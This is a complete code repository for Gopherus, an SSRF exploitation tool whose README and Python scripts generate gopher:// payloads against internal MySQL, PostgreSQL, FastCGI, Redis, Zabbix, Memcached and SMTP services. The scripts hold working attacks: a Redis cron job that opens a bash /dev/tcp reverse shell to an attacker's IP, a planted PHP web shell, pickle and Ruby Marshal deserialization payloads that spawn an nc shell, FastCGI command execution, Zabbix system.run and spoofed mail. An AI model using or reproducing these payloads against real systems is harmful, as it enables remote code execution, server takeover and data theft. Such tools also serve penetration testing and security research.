├── .gitignore ├── LICENSE ├── README.md ├── gopherus.py ├── images ├── tool2.0.png ├── tool2.1.png ├── tool2.2.png ├── tool2.3.png └── tool2.4.png ├── install.sh └── scripts ├── DumpMemcached.py ├── FastCGI.py ├── MySQL.py ├── PHPMemcached.py ├── PostgreSQL.py ├── PyMemcached.py ├── RbMemcached.py ├── Redis.py ├── SMTP.py ├── Zabbix.py └── __init__.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Tarunkant Gupta 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Gopherus 2 | If you know a place which is SSRF vulnerable then, this tool will help you to generate Gopher payload for exploiting SSRF (Server Side Request Forgery) and gaining RCE (Remote Code Execution). And also it will help you to get the Reverse shell on the victim server. And for more 3 | information you can get a blog on the same [Blog on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) 4 | ## About 5 | This tool can generate payload for following: 6 | 1. MySQL (Port-3306) 7 | 2. PostgreSQL(Port-5432) 8 | 3. FastCGI (Port-9000) 9 | 4. Memcached (Port-11211) 10 | - If stored data is getting De-serialized by:
11 | - Python
12 | - Ruby
13 | - PHP
14 | 5. Redis (Port-6379) 15 | 6. Zabbix (Port-10050) 16 | 7. SMTP (Port-25) 17 | 18 | ## Installation 19 | ``` bash 20 | chmod +x install.sh 21 | ``` 22 | ```bash 23 | sudo ./install.sh 24 | ``` 25 | 26 | ## Usage 27 | | Command | Description | 28 | |--------------------------|--------------------------------| 29 | | gopherus --help | Help | 30 | | gopherus --exploit | Arguments can be : | 31 | | | --exploit mysql | 32 | | | --exploit postgresql | 33 | | | --exploit fastcgi | 34 | | | --exploit redis | 35 | | | --exploit zabbix | 36 | | | --exploit pymemcache | 37 | | | --exploit rbmemcache | 38 | | | --exploit phpmemcache | 39 | | | --exploit dmpmemcache | 40 | | | --exploit smtp | 41 | ## Examples 42 | * MySQL: If the user is not protected with password you can dump his database and also you can put malicious files in his system. 43 | ```bash 44 | gopherus --exploit mysql 45 | ``` 46 |       It only asks username of the MySQL user and it will provide you gopher link. 47 | 48 | * PostgreSQL: If the user is not protected with password you can dump his database and also you can put malicious files in his system. 49 | ```bash 50 | gopherus --exploit postgresql 51 | ``` 52 |       It only asks username of the Postgres user and database name then it will provide you gopher link. 53 | 54 | * FastCGI: If port 9000 is open with no security then you can get RCE. 55 | ```bash 56 | gopherus --exploit fastcgi 57 | ``` 58 |       It only asks for a file which must be present in the victim system(preferable .php file), BTW we have default one. 59 | 60 | * Redis: If redis port is open then we can overwrite the file in the system which is too dangerous. 61 | So here is two things you can get:
62 | a. Reverse Shell
63 | b. PHP Shell
64 | ```bash 65 | gopherus --exploit redis 66 | ``` 67 | * Zabbix: If port 10050 is open and `EnableRemoteCommands = 1` then you can run shell commands on the victim system. 68 | ```bash 69 | gopherus --exploit zabbix 70 | ``` 71 | * Memcached: It is used for mainly storing serialized data, but when it comes to De-serialize these data then known vulnerability such as PHP De-serialization issue, Python-Pickle De-serialization issue, Ruby-Marshal De-serialization issue comes into picture which can lead to RCE. 72 | So for each of them I created different scripts and also one script for dumping Memcached content: 73 | ```bash 74 | gopherus --exploit pymemcache 75 | ``` 76 | ```bash 77 | gopherus --exploit rbmemcache 78 | ``` 79 | ```bash 80 | gopherus --exploit phpmemcache 81 | ``` 82 | ```bash 83 | gopherus --exploit dmpmemcache 84 | ``` 85 | * SMTP: If port 25 is open and we can access it then, we can send message to anyone as victim user, So this tool will generate gopher payload for sending mail. 86 | ```bash 87 | gopherus --exploit smtp 88 | ``` 89 | ## Screenshots 90 | ![image](./images/tool2.1.png) 91 | ![image](./images/tool2.0.png) 92 | ![image](./images/tool2.2.png) 93 | ![image](./images/tool2.3.png) 94 | ![image](./images/tool2.4.png) 95 | ## Author 96 | Tarunkant Gupta (SpyD3r) 97 | * Website: https://spyclub.tech 98 | * Email: tarunkant05@gmail.com 99 | * Twitter: https://twitter.com/TarunkantG 100 | * Linkedin: https://linkedin.com/in/tarunkant-g-215830129/ 101 | 102 | ## Reference 103 | * http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt 104 | * http://blog.safebuff.com/2016/07/03/SSRF-Tips/ 105 | * https://hackerone.com/reports/115748 106 | * https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf 107 | * https://www.exploit-db.com/exploits/42392/ 108 | -------------------------------------------------------------------------------- /gopherus.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | import argparse 3 | import sys 4 | sys.path.insert(0,'./scripts/') 5 | from scripts import FastCGI, MySQL, PostgreSQL, DumpMemcached, PHPMemcached, PyMemcached, RbMemcached, Redis, SMTP, Zabbix 6 | 7 | parser = argparse.ArgumentParser() 8 | parser.add_argument("--exploit", 9 | help="mysql,\n" 10 | "postgresql,\n" 11 | "fastcgi,\n" 12 | "redis,\n" 13 | "smtp,\n" 14 | "zabbix,\n" 15 | "pymemcache,\n" 16 | "rbmemcache,\n" 17 | "phpmemcache,\n" 18 | "dmpmemcache") 19 | args = parser.parse_args() 20 | 21 | class colors: 22 | reset='\033[0m' 23 | red='\033[31m' 24 | green='\033[32m' 25 | orange='\033[33m' 26 | blue='\033[34m' 27 | 28 | print colors.green + """ 29 | 30 | ________ .__ 31 | / _____/ ____ ______ | |__ ___________ __ __ ______ 32 | / \ ___ / _ \\\\____ \| | \_/ __ \_ __ \ | \/ ___/ 33 | \ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \\ 34 | \______ /\____/| __/|___| /\___ >__| |____//____ > 35 | \/ |__| \/ \/ \/ 36 | """ + "\n\t\t" + colors.blue + "author: " + colors.orange + "$_SpyD3r_$" + "\n" + colors.reset 37 | 38 | if(not args.exploit): 39 | print parser.print_help() 40 | exit() 41 | 42 | if(args.exploit=="mysql"): 43 | MySQL.MySQL() 44 | elif(args.exploit=="postgresql"): 45 | PostgreSQL.PostgreSQL() 46 | elif(args.exploit=="fastcgi"): 47 | FastCGI.FastCGI() 48 | elif(args.exploit=="redis"): 49 | Redis.Redis() 50 | elif(args.exploit=="smtp"): 51 | SMTP.SMTP() 52 | elif(args.exploit=="zabbix"): 53 | Zabbix.Zabbix() 54 | elif(args.exploit=="dmpmemcache"): 55 | DumpMemcached.DumpMemcached() 56 | elif(args.exploit=="phpmemcache"): 57 | PHPMemcached.PHPMemcached() 58 | elif(args.exploit=="rbmemcache"): 59 | RbMemcached.RbMemcached() 60 | elif(args.exploit=="pymemcache"): 61 | PyMemcached.PyMemcached() 62 | else: 63 | print parser.print_help() 64 | -------------------------------------------------------------------------------- /images/tool2.0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tarunkant/Gopherus/90a2fd5799342bbd493966ed95ed2489068ea568/images/tool2.0.png -------------------------------------------------------------------------------- /images/tool2.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tarunkant/Gopherus/90a2fd5799342bbd493966ed95ed2489068ea568/images/tool2.1.png -------------------------------------------------------------------------------- /images/tool2.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tarunkant/Gopherus/90a2fd5799342bbd493966ed95ed2489068ea568/images/tool2.2.png -------------------------------------------------------------------------------- /images/tool2.3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tarunkant/Gopherus/90a2fd5799342bbd493966ed95ed2489068ea568/images/tool2.3.png -------------------------------------------------------------------------------- /images/tool2.4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tarunkant/Gopherus/90a2fd5799342bbd493966ed95ed2489068ea568/images/tool2.4.png -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | python2 -m pip install argparse 3 | python2 -m pip install requests 4 | chmod +x gopherus.py 5 | ln -sf $(pwd)/gopherus.py /usr/local/bin/gopherus 6 | -------------------------------------------------------------------------------- /scripts/DumpMemcached.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | 3 | def DumpMemcached(): 4 | code = raw_input("\033[96m" +"Give payload you want to run in Memcached Server: "+ "\033[0m") 5 | 6 | payload = urllib.quote_plus(code).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") 7 | 8 | finalpayload = "gopher://127.0.0.1:11211/_%0d%0a" + payload + "%0d%0a" 9 | 10 | print "\033[93m" +"\nYour gopher link is ready to dump Memcache : \n"+ "\033[0m" 11 | print finalpayload 12 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+ "\033[0m" 13 | -------------------------------------------------------------------------------- /scripts/FastCGI.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | 3 | def FastCGI(): 4 | filename = raw_input("\033[96m" +"Give one file name which should be surely present in the server (prefer .php file)\nif you don't know press ENTER we have default one: "+ "\033[0m") 5 | 6 | if(not filename): 7 | filename="/usr/share/php/PEAR.php" 8 | 9 | command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m") 10 | length=len(command)+52 11 | char=chr(length) 12 | 13 | data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length))) 14 | data += "CONTENT_LENGTH" + str(length) + "\x0e\x04REQUEST_METHODPOST\tKPHP_VALUEallow_url_include = On\n" 15 | data += "disable_functions = \nauto_prepend_file = php://input\x0f" + chr(len(filename)) +"SCRIPT_FILENAME" + filename + "\r\x01DOCUMENT_ROOT/" 16 | 17 | temp1 = chr(len(data) / 256) 18 | temp2 = chr(len(data) % 256) 19 | temp3 = chr(len(data) % 8) 20 | 21 | end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00" 22 | end += "\x00\x00\x00\x00" 23 | 24 | start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00" 25 | 26 | payload = start + data + end 27 | 28 | def get_payload(payload): 29 | finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/") 30 | return "gopher://127.0.0.1:9000/_" + finalpayload 31 | 32 | print "\033[93m" +"\nYour gopher link is ready to do SSRF: \n" + "\033[0m" 33 | print "\033[04m" + get_payload(payload)+ "\033[0m" 34 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 35 | -------------------------------------------------------------------------------- /scripts/MySQL.py: -------------------------------------------------------------------------------- 1 | 2 | def MySQL(): 3 | print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m" 4 | user = raw_input("\033[96m" +"\nGive MySQL username: " + "\033[0m") 5 | encode_user = user.encode("hex") 6 | user_length = len(user) 7 | temp = user_length - 4 8 | length = (chr(0xa3+temp)).encode("hex") 9 | 10 | dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000" 11 | dump += encode_user 12 | dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c" 13 | dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d" 14 | dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c" 15 | 16 | query = raw_input("\033[96m" +"Give query to execute: "+ "\033[0m") 17 | 18 | auth = dump.replace("\n","") 19 | 20 | def encode(s): 21 | a = [s[i:i + 2] for i in range(0, len(s), 2)] 22 | return "gopher://127.0.0.1:3306/_%" + "%".join(a) 23 | 24 | 25 | def get_payload(query): 26 | if(query.strip()!=''): 27 | query = query.encode("hex") 28 | query_length = '{:06x}'.format((int((len(query) / 2) + 1))) 29 | query_length = query_length.decode('hex')[::-1].encode('hex') 30 | pay1 = query_length + "0003" + query 31 | final = encode(auth + pay1 + "0100000001") 32 | return final 33 | else: 34 | return encode(auth) 35 | 36 | print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m" 37 | print "\033[04m" + get_payload(query)+ "\033[0m" 38 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 39 | -------------------------------------------------------------------------------- /scripts/PHPMemcached.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | 3 | def PHPMemcached(): 4 | print "\033[01m" + "\nThis is usable when you know Class and Variable name used by user\n"+ "\033[0m" 5 | 6 | code = raw_input("\033[96m" +"Give serialization payload\nexample: O:5:\"Hello\":0:{} : "+ "\033[0m") 7 | 8 | if(not code): 9 | print "\033[93m" + "Plz give payload" + "\033[0m" 10 | exit() 11 | 12 | payload = "%0d%0aset SpyD3r 4 0 " + str(len(code)) + "%0d%0a" + code + "%0d%0a" 13 | 14 | finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") 15 | 16 | print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m" 17 | print "\033[04m" + "gopher://127.0.0.1:11211/_" + finalpayload + "\033[0m" 18 | print "\033[93m" +"\nAfter everything done, you can delete memcached item by using this payload: \n"+ "\033[0m" 19 | print "\033[04m" + "gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a"+ "\033[0m" 20 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 21 | -------------------------------------------------------------------------------- /scripts/PostgreSQL.py: -------------------------------------------------------------------------------- 1 | def PostgreSQL(): 2 | user = raw_input("\033[96m" + "PostgreSQL Username: " + "\033[0m") 3 | db = raw_input("\033[96m" + "Database Name: " + "\033[0m") 4 | query = raw_input("\033[96m" + "Query: " + "\033[0m") 5 | 6 | encode_user = user.encode("hex") 7 | encode_db = db.encode("hex") 8 | encode_query = query.encode("hex") 9 | len_query = len(query) + 5 10 | 11 | start = "000000" + str(chr(4+len(user)+8+len(db)+13).encode("hex")) + "000300" 12 | data = "00" + "user".encode("hex") + "00" + encode_user + "00" + "database".encode("hex") + "00" + encode_db 13 | data += "0000510000" + str(hex(len_query)[2:]).zfill(4) 14 | data += encode_query 15 | end = "005800000004" 16 | 17 | packet = start + data + end 18 | 19 | def encode(s): 20 | a = [s[i:i + 2] for i in range(0, len(s), 2)] 21 | return "gopher://127.0.0.1:5432/_%" + "%".join(a) 22 | 23 | 24 | print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m" 25 | print "\033[04m" + encode(packet) + "\033[0m" 26 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 27 | -------------------------------------------------------------------------------- /scripts/PyMemcached.py: -------------------------------------------------------------------------------- 1 | import cPickle 2 | import os 3 | import urllib 4 | 5 | def PyMemcached(): 6 | print "\033[01m" +"\nReady to Get Reverse SHELL\n"+ "\033[0m" 7 | server = raw_input("\033[96m" +"Give server IP you want to connect (default is 127.0.0.1): "+ "\033[0m") 8 | 9 | if(not server): 10 | server = "127.0.0.1" 11 | 12 | cmd = "rm -f /tmp/f; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l " + server + " 1234 > /tmp/f" 13 | 14 | class PickleRCE(object): 15 | def __reduce__(self): 16 | if(cmd): 17 | return (os.system,(cmd,)) 18 | 19 | command = (cPickle.dumps(PickleRCE())) 20 | 21 | def get_payload(command): 22 | payload = urllib.quote_plus(command).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") 23 | finalpayload = "%0d%0aset%20SpyD3r%201%2060%20" + str(len(command)) + "%0d%0a" + payload + "%0d%0a" 24 | return finalpayload 25 | 26 | print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m" 27 | print "\033[04m" + "gopher://127.0.0.1:11211/_" + get_payload(command)+ "\033[0m" 28 | 29 | print "\033[01m" +"\nThen You can connect it with : nc " + server + " 1234"+ "\033[0m" 30 | 31 | print "\033[93m" +"\nAfter everything done, you can delete memcached item by using this payload: \n"+ "\033[0m" 32 | print "\033[04m" + "gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a"+ "\033[0m" 33 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 34 | -------------------------------------------------------------------------------- /scripts/RbMemcached.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | 3 | def RbMemcached(): 4 | print "\033[01m" +"\nReady to Get Reverse SHELL\n"+ "\033[0m" 5 | server = raw_input("\033[96m" +"Give server IP you want to connect (default is 127.0.0.1): "+ "\033[0m") 6 | 7 | if(not server): 8 | server = "127.0.0.1" 9 | 10 | cmd = "rm -f /tmp/f; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l " + server + " 1234 > /tmp/f" 11 | 12 | 13 | payload = """\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:\x08ERB\x06:\t@srcI\"""" + chr(len(cmd)+10) 14 | payload += "%x(" + cmd + """);\x06:\x06ET:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\tT:\x10@deprecatoro:\x1fActiveSupport::Deprecation\x06:\x0e@silencedT""" 15 | 16 | def get_payload(payload): 17 | payload_len = len(payload) 18 | payload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") 19 | finalpayload = "%0d%0aset%20SpyD3r%204%2060%20" + str(payload_len) + "%0d%0a" + payload + "%0d%0a" 20 | return finalpayload 21 | 22 | print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m" 23 | print "\033[04m" +"gopher://127.0.0.1:11211/_" + get_payload(payload)+ "\033[0m" 24 | 25 | print "\033[01m" +"\nThen You can connect it with : nc " + server + " 1234"+ "\033[0m" 26 | 27 | print "\033[93m" +"\nAfter everything done, you can delete memcached item by using this payload: \n"+ "\033[0m" 28 | print "\033[04m" + "gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a"+ "\033[0m" 29 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 30 | -------------------------------------------------------------------------------- /scripts/Redis.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | 3 | def Redis(): 4 | def get_Redis_ReverseShell(): 5 | server = raw_input("\033[96m" +"\nGive your IP Address to connect with victim through Revershell (default is 127.0.0.1): "+ "\033[0m") 6 | crontab_dir = raw_input("\033[96m" +"What can be his Crontab Directory location\n## For debugging(locally) you can use /var/lib/redis : "+ "\033[0m") 7 | if(not server): 8 | server = "127.0.0.1" 9 | if(not crontab_dir): 10 | crontab_dir = "/var/spool/cron/" 11 | cmd = '*/1 * * * * bash -c "sh -i >& /dev/tcp/' + server + '/1234 0>&1"' 12 | len_cmd = len(cmd) + 5 13 | payload = """*1\r 14 | $8\r 15 | flushall\r 16 | *3\r 17 | $3\r 18 | set\r 19 | $1\r 20 | 1\r 21 | $""" + str(len_cmd) + """\r 22 | 23 | 24 | """ + cmd + """ 25 | 26 | 27 | \r 28 | *4\r 29 | $6\r 30 | config\r 31 | $3\r 32 | set\r 33 | $3\r 34 | dir\r 35 | $""" + str(len(crontab_dir)) + """\r 36 | """ + crontab_dir + """\r 37 | *4\r 38 | $6\r 39 | config\r 40 | $3\r 41 | set\r 42 | $10\r 43 | dbfilename\r 44 | $4\r 45 | root\r 46 | *1\r 47 | $4\r 48 | save\r 49 | 50 | """ 51 | finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") 52 | print "\033[93m" +"\nYour gopher link is ready to get Reverse Shell: \n"+ "\033[0m" 53 | print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m" 54 | print "\033[01m" +"\nBefore sending request plz do `nc -lvp 1234`"+ "\033[0m" 55 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 56 | 57 | 58 | 59 | def get_Redis_PHPShell(): 60 | web_root_location = raw_input("\033[96m" +"\nGive web root location of server (default is /var/www/html): "+ "\033[0m") 61 | php_payload = raw_input("\033[96m" +"Give PHP Payload (We have default PHP Shell): "+ "\033[0m") 62 | default = "" 63 | if(not php_payload): 64 | php_payload = default 65 | if(not web_root_location): 66 | web_root_location = "/var/www/html" 67 | payload = """*1\r 68 | $8\r 69 | flushall\r 70 | *3\r 71 | $3\r 72 | set\r 73 | $1\r 74 | 1\r 75 | $""" + str(len(php_payload) + 4) + """\r 76 | 77 | 78 | """ + php_payload + """ 79 | 80 | \r 81 | *4\r 82 | $6\r 83 | config\r 84 | $3\r 85 | set\r 86 | $3\r 87 | dir\r 88 | $""" + str(len(web_root_location)) + """\r 89 | """ + web_root_location + """\r 90 | *4\r 91 | $6\r 92 | config\r 93 | $3\r 94 | set\r 95 | $10\r 96 | dbfilename\r 97 | $9\r 98 | shell.php\r 99 | *1\r 100 | $4\r 101 | save\r 102 | 103 | """ 104 | finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") 105 | print "\033[93m" +"\nYour gopher link is Ready to get PHP Shell: \n"+ "\033[0m" 106 | print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m" 107 | print "\033[01m"+"\nWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. "+ "\033[0m" 108 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 109 | 110 | 111 | print "\033[01m"+"\nReady To get SHELL\n"+ "\033[0m" 112 | what = raw_input("\033[35m" +"What do you want?? (ReverseShell/PHPShell): "+ "\033[0m") 113 | what = what.lower() 114 | if("rev" in what): 115 | get_Redis_ReverseShell() 116 | elif("php" in what): 117 | get_Redis_PHPShell() 118 | else: 119 | print "\033[93m" +"Plz choose between those two"+ "\033[0m" 120 | exit() 121 | -------------------------------------------------------------------------------- /scripts/SMTP.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | 3 | def SMTP(): 4 | print "\033[01m"+"\nGive Details to send mail: \n"+ "\033[0m" 5 | mailfrom = raw_input("\033[96m" +"Mail from : "+ "\033[0m") 6 | Mailto = raw_input("\033[96m" +"Mail To : "+ "\033[0m") 7 | subject = raw_input("\033[96m" +"Subject : "+ "\033[0m") 8 | msg = raw_input("\033[96m" +"Message : "+ "\033[0m") 9 | 10 | commands = [ 11 | 'MAIL FROM:' + mailfrom, 12 | 'RCPT To:' + Mailto, 13 | 'DATA', 14 | 'From:' + mailfrom, 15 | 'Subject:' + subject, 16 | 'Message:' + msg, 17 | '.' 18 | ] 19 | 20 | payload = "%0A".join(commands) 21 | finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") 22 | 23 | print "\033[93m" +"\nYour gopher link is ready to send Mail: \n"+ "\033[0m" 24 | print "\033[04m" +"gopher://127.0.0.1:25/_" + finalpayload+ "\033[0m" 25 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 26 | -------------------------------------------------------------------------------- /scripts/Zabbix.py: -------------------------------------------------------------------------------- 1 | import urllib 2 | 3 | def Zabbix(): 4 | print "\033[01m"+"\nExecute SHELL command: \n" + "\033[0m" 5 | command = raw_input("\033[96m" +"\nEnter Shell Command to Execute: "+ "\033[0m") 6 | 7 | if(not command): 8 | command = "ls" 9 | 10 | payload = "system.run[(" + command + ");sleep 2s]" 11 | finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") 12 | 13 | print "\033[93m" +"\nYour gopher link is ready to do SSRF: \n"+ "\033[0m" 14 | print "\033[04m" +"gopher://127.0.0.1:10050/_" + finalpayload+ "\033[0m" 15 | print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" 16 | -------------------------------------------------------------------------------- /scripts/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | --------------------------------------------------------------------------------